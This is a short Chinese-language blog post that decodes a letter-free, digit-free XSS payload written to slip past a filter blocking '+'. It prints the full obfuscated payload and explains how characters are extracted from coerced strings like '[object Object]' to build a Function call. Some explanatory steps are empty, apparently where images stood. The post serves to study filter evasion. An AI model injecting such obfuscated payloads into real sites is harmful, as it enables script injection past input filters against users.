一个XSSpayload的分析

一个XSSpayload的分析

前提:不能使用字母和数字,使用jsfuck加密发现过滤”+“号 - 原始Payload -[][`${`${{}}`[!![]<<!![]<<!![]|!![]]}${`${{}}`[!!{}<<![]]}${`${[][~[]]}`[!!{}<<![]]}${`${!![][~[]]}`[(!![]<<!![])|!![]]}${`${![][~[]]}`[!{}<<![]]}${`${![][~[]]}`[!!{}<<![]]}${`${![][~[]]}`[!!{}<<!![]]}${`${{}}`[!![]<<!![]<<!![]|!![]]}${`${![][~[]]}`[!{}<<![]]}${`${{}}`[!!{}<<![]]}${`${![][~[]]}`[!!{}<<![]]}`][`${`${{}}`[!![]<<!![]<<!![]|!![]]}${`${{}}`[!!{}<<![]]}${`${[][~[]]}`[!!{}<<![]]}${`${!![][~[]]}`[(!![]<<!![])|!![]]}${`${![][~[]]}`[!{}<<![]]}${`${![][~[]]}`[!!{}<<![]]}${`${![][~[]]}`[!!{}<<!![]]}${`${{}}`[!![]<<!![]<<!![]|!![]]}${`${![][~[]]}`[!{}<<![]]}${`${{}}`[!!{}<<![]]}${`${![][~[]]}`[!!{}<<![]]}`](`${`${!![][~[]]}`[!!{}<<![]]}${`${!![][~[]]}`[!!{}<<!![]]}${`${![][~[]]}`[(!![]<<!![])|!![]]}${`${![][~[]]}`[!!{}<<![]]}${`${![][~[]]}`[!{}<<![]]}(${!!{}<<![]})`)()-

  • 首先复制全部到谷歌中尝试运行 其实是构造了一个函数

  • 把代码分成三部分

  • 依次查看内容

  • 实际执行的语句为

  • 再次分割(拿第一部分为例)

  • 取第一部分为例

那么为什么会是C

  • 列出基础字符
  • 峰回路转 对比字母为C的和基础字符,发现一开始是一样的,那么后面的[!![]<<!![]<<!![]|!![]]是什么 是一个数组的格式,结合基础字符查看,相当于${{}[5] ${{}内容为[object Object] *相当于[object Object]里面的第五个字符,就是c

总结:==利用基础字符然后类似数组的方式提取出想要的字母去构造出一个完整的payload==

Thank for Wfox